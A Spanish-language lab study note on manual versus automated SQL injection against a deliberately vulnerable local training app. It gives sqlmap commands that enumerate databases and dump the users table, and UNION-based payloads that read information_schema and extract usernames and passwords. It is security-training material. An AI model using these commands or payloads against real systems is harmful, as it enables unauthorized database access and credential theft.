💥 Explotación Manual vs Automatizada

🔹 Explotación Manual

Consiste en explotar vulnerabilidades de forma manual, usando conocimientos técnicos y herramientas específicas.


🔹 Explotación Automatizada

La explotación se realiza con herramientas automáticas como scripts, escáneres o herramientas como sqlmap.

🔍 ¿Cuál usar? Depende del objetivo, la seguridad del sistema y el conocimiento del atacante.

🧪 Laboratorio: Diferencias entre Explotación Manual y Automatizada

Usaremos el repositorio de prácticas de SQLi:
🔗 appsecco/sqlinjection-training-app
📦 Clonamos y levantamos el entorno

git clone https://github.com/appsecco/sqlinjection-training-app.git
cd sqlinjection-training-app
docker-compose up -d

📲 Accedemos a: http://localhost:8000/
Ruta vulnerable: http://127.0.0.1:8000/searchproducts.php
Pasted image 20250714190653.png
si la consulta ponemos nos pone a y comilla se rompe
Pasted image 20250714190812.png

⚙️ Explotación Automatizada con SQLMAP

Después de crear una cuenta y hacer una búsqueda con comillas ', vemos que la consulta se rompe. ¡Eso es señal de inyección SQL!

🎯 Interceptamos la petición con BurpSuite:
abrimos burpsuite

burpsuite &> /dev/null & disown

📌 Copiamos la petición en un archivo llamado peticion.
Pasted image 20250714191947.png
Pasted image 20250714192055.png

🚀 SQLMAP

ponemos el comando

sqlmap -r peticion -p searchitem --batch

✅ Detecta inyección. Ahora vamos a extraer información:
Pasted image 20250714192312.png
Para mostrar todos los base de datos

 sqlmap -r peticion -p searchitem --batch  --dbs 

🔍 Muestra las bases de datos disponibles.
Pasted image 20250714192422.png
Lista las tablas de la DB sqlitraining.

 sqlmap -r peticion -p searchitem --batch  -D sqlitraining --tables 

Pasted image 20250714192527.png
🧑‍💻 Muestra las columnas de la tabla users.

sqlmap -r peticion -p searchitem --batch  -D sqlitraining -T users --column

Pasted image 20250714192633.png
🕵️‍♂️ ¡Y ya tenemos los usuarios y contraseñas!

sqlmap -r peticion -p searchitem --batch  -D sqlitraining -T users -C username,password --dump

Pasted image 20250714192814.png

🛠️ Explotación Manual con BurpSuite

Abrimos la petición en Repeater (Ctrl + R en BurpSuite).
Si hacemos
🔎 1. Descubrimos el número de columnas:

searchitem=hola' order by 100-- -

Nos devuelve resultado, así que tiene 5 columnas.

searchitem=hola' order by 5-- -

🔍 2. Probamos UNION:

searchitem=hola' union select 1,2,3,4,5 -- -

🧠 3. Obtenemos la base de datos actual:

searchitem=hola' union select 1,database(),3,4,5 -- -

Pasted image 20250714193455.png
📚 4. Enumeramos las bases de datos:

searchitem=hola' union select 1,schema_name,3,4,5 from information_schema.schemata -- -

Pasted image 20250714193750.png

searchitem=hola' union select 1,table_name,3,4,5 from information_schema.tables where table_schema='sqlitraining' -- -

🧱 5. Mostramos tablas de sqlitraining:
Pasted image 20250714193940.png```
🧩 6. Mostramos columnas de la tabla users:

searchitem=hola' union select 1,column_name,3,4,5 from information_schema.columns where table_schema='sqlitraining' and table_name='users'-- -

Pasted image 20250714194214.png
🔓 7. Sacamos usuarios y contraseñas:

searchitem=hola' union select 1,username,password,4,5 from users-- -

💥 ¡Ya tenemos los datos sensibles de forma manual!
Pasted image 20250714194619.png